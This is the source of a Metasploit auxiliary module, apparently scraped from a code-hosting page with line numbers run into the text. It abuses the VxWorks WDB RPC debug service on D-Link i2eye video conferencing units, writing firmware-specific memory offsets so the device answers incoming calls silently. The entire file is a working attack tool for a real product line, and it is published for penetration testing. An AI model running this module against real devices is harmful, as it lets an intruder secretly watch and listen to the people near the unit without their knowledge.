Path: blob/master/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::WDBRPC_Client78def initialize(info = {})9super(10update_info(11info,12'Name' => 'D-Link i2eye Video Conference AutoAnswer (WDBRPC)',13'Description' => %q{14This module can be used to enable auto-answer mode for the D-Link15i2eye video conferencing system. Once this setting has been flipped,16the device will accept incoming video calls without acknowledgement.17The NetMeeting software included in Windows XP can be used to connect18to this device. The i2eye product is no longer supported by the vendor19and all models have reached their end of life (EOL).20},21'Author' => [ 'hdm'],22'License' => MSF_LICENSE,23'References' => [24['OSVDB', '66842'],25['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],26['US-CERT-VU', '362332']27],28'Notes' => {29'Stability' => [CRASH_SAFE],30'SideEffects' => [CONFIG_CHANGES],31'Reliability' => []32}33)34)35end3637def run38targets = {39# Original firmware for the North America DVC100040'Sorenson VP100 - ARM9TDMI' => [[0x00229a05, 0x00000000, 0x00000001]],4142# Final firmware for the North America DVC100043# Also covers a mislabeled "Sorenson VP100" (revision A3)44'i-2-eye DVC1000 - ARM9TDMI' => [45[0x0040cd68, 0x00000000, 0x01000000],46[0x0040af38, 0x00000000, 0x01000000],47[0x0040cd00, 0x00000000, 0x01000000]48]49}5051wdbrpc_client_connect5253if !@wdbrpc_info[:rt_vers]54print_error('No response to connection request')55return56end5758membase = @wdbrpc_info[:rt_membase]5960target = targets[@wdbrpc_info[:rt_bsp_name]]61if !target62print_error("No target available for BSP #{@wdbrpc_info[:rt_bsp_name]}")63wdbrpc_client_disconnect64return65end6667target.each do |r|68offset, oldval, newval = r6970curr = wdbrpc_client_memread(membase + offset, 4).unpack('N')[0]71if (curr != oldval) && (curr != newval)72print_error("The value at offset #{'0x%.8x' % offset} does not match this target (#{'0x%.8x' % curr}), skipping...")73next74end7576if curr == newval77print_good("The value at offset #{'0x%.8x' % offset} has already been set")78else79wdbrpc_client_memwrite(membase + offset, [newval].pack('N'))80curr = wdbrpc_client_memread(membase + offset, 4).unpack('N')[0]81print_good("The value at offset #{'0x%.8x' % offset} has been set to #{'0x%.8x' % curr}")82end8384print_status('The target device should now automatically accept incoming calls')85end8687wdbrpc_client_disconnect88end89end909192